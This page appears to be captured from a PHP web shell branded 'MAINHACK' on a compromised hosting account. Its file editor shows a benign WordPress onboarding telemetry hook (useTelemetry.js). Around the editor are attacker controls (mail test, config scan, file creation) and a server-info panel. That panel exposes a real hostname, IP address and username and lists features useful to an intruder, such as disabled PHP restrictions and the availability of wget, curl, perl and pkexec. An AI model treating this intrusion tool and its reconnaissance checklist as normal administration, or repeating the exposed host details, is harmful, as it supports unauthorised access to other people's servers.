[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: useTelemetry.js
import { useEffect, useRef, useState } from '@wordpress/element'; import { useGlobalStore } from '@launch/state/Global'; import { usePagesStore } from '@launch/state/Pages'; import { usePagesSelectionStore } from '@launch/state/pages-selections'; import { useUserSelectionStore } from '@launch/state/user-selections'; import { INSIGHTS_HOST } from '../../constants'; // Dev note: This entire section is opt-in only when partnerID is set as a constant export const useTelemetry = () => { const { goals, getGoalsPlugins, siteType, siteTypeSearch, siteStructure, variation, } = useUserSelectionStore(); const { pages: selectedPages, style: selectedStyle } = usePagesSelectionStore(); const selectedPlugins = getGoalsPlugins(); const { generating } = useGlobalStore(); const { pages, currentPageIndex } = usePagesStore(); const [stepProgress, setStepProgress] = useState([]); const [viewedStyles, setViewedStyles] = useState(new Set()); const running = useRef(false); useEffect(() => { const p = [...pages].map((p) => p[0]); // Add pages as they move around setStepProgress((progress) => progress?.at(-1) === p[currentPageIndex] ? progress : [...progress, p[currentPageIndex]], ); }, [currentPageIndex, pages]); useEffect(() => { if (!generating) return; // They pressed Launch setStepProgress((progress) => [...progress, 'launched']); }, [generating]); useEffect(() => { if (!Object.keys(selectedStyle ?? {})?.length) return; // Add selectedStyle to the set setViewedStyles((styles) => { const newStyles = new Set(styles); newStyles.add(selectedStyle); return newStyles; }); }, [selectedStyle]); useEffect(() => { let id = 0; let innerId = 0; const timeout = currentPageIndex ? 1000 : 0; id = window.setTimeout(() => { if (running.current) return; running.current = true; const controller = new AbortController(); innerId = window.setTimeout(() => { running.current = false; controller.abort(); }, 900); fetch(`${INSIGHTS_HOST}/api/v1/launch`, { method: 'POST', headers: { 'Content-type': 'application/json', Accept: 'application/json', 'X-Extendify': 'true', }, signal: controller.signal, body: JSON.stringify({ siteType: siteType?.slug, siteCreatedAt: window.extSharedData?.siteCreatedAt, style: variation?.title, siteStructure: siteStructure, pages: selectedPages?.map((p) => p.slug), goals: goals?.map((g) => g.slug), lastCompletedStep: stepProgress?.at(-1), progress: stepProgress, stylesViewed: [...viewedStyles] .filter((s) => s?.variation) .map((s) => s.variation.title), siteTypeSearches: siteTypeSearch, insightsId: window.extSharedData?.siteId, activeTests: window.extOnbData?.activeTests?.length > 0 ? JSON.stringify(window.extOnbData?.activeTests) : undefined, hostPartner: window.extSharedData?.partnerId, language: window.extSharedData?.wpLanguage, siteURL: window.extSharedData?.home, }), }) .catch(() => undefined) .finally(() => { running.current = false; }); }, timeout); return () => { running.current = false; [id, innerId].forEach((i) => window.clearTimeout(i)); }; }, [ selectedPages, selectedPlugins, selectedStyle, pages, stepProgress, viewedStyles, siteTypeSearch, currentPageIndex, goals, siteType, siteStructure, variation, ]); };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.3 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624